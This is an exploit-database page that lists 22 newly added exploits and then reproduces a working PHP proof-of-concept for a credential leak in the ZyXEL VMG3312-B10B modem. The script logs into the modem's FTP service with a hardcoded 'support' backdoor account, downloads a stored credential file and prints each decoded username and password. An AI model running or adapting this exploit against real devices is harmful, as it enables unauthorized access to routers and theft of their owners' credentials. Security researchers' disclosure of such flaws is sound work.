ef70ec156b
22 changes to exploits/shellcodes ZyXEL VMG3312-B10B < 1.00(AAPP.7) - Credential Disclosure QNAP NetBak Replicator 4.5.6.0607 - Denial of Service (PoC) SIPp 3.3.990 - Local Buffer Overflow (PoC) R 3.4.4 (Windows 10 x64) - Buffer Overflow (DEP/ASLR Bypass) xorg-x11-server 1.20.3 - Privilege Escalation Any Sound Recorder 2.93 - Buffer Overflow Local (SEH) (Metasploit) Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass South Gate Inn Online Reservation System 1.0 - 'q' SQL Injection Electricks eCommerce 1.0 - 'prodid' SQL Injection phptpoint Pharmacy Management System 1.0 - 'username' SQL Injection Webiness Inventory 2.9 - Arbitrary File Upload NETGEAR WiFi Router R6120 - Credential Disclosure MyBB Downloads 2.0.3 - SQL Injection Expense Management 1.0 - Arbitrary File Upload University Application System 1.0 - SQL Injection / Cross-Site Request Forgery (Add Admin) Notes Manager 1.0 - Arbitrary File Upload Instagram Clone 1.0 - Arbitrary File Upload Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal Asaancart Simple PHP Shopping Cart 0.9 - Arbitrary File Upload / SQL Injection CI User Login and Management 1.0 - Arbitrary File Upload Windows/x64 - Remote (Bind TCP) Keylogger Shellcode (864 bytes) (Generator)
35 lines
No EOL
981 B
PHP
35 lines
No EOL
981 B
PHP
# Exploit Title: ZyXEL VMG3312-B10B - Leak Credentials < 1.00(AAPP.7)
|
|
# Date: 2018-10-28
|
|
# Exploit Author: numan türle @numanturle
|
|
# Vendor Homepage: https://www.zyxel.com/
|
|
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/
|
|
# Firmware: 1.00(AAPP.0)D7
|
|
# Tested on: windows
|
|
# Fixed firmware: 1.00(AAPP.7)
|
|
|
|
|
|
<?php
|
|
$ftp_server = "192.168.1.1"; // modem ip address
|
|
$ftp_conn = ftp_connect($ftp_server) or die("ftp server close");
|
|
$login = ftp_login($ftp_conn, "support", "support"); // backdoor
|
|
|
|
$local_file = "crackme";
|
|
$server_file = "/var/csamu"; // base64_encode files
|
|
|
|
if (ftp_get($ftp_conn, $local_file, $server_file, FTP_BINARY)) {
|
|
$open = file($local_file);
|
|
foreach($open as $u_p){
|
|
$bomb = explode(" ",$u_p);
|
|
$user = $bomb[0];
|
|
$pass = base64_decode($bomb[1]);
|
|
if(!empty($pass)){
|
|
echo "{$user}:{$pass}<br>";
|
|
}else {
|
|
continue;
|
|
}
|
|
}
|
|
}else {
|
|
echo "pfff";
|
|
}
|
|
ftp_close($ftp_conn);
|
|
?>
|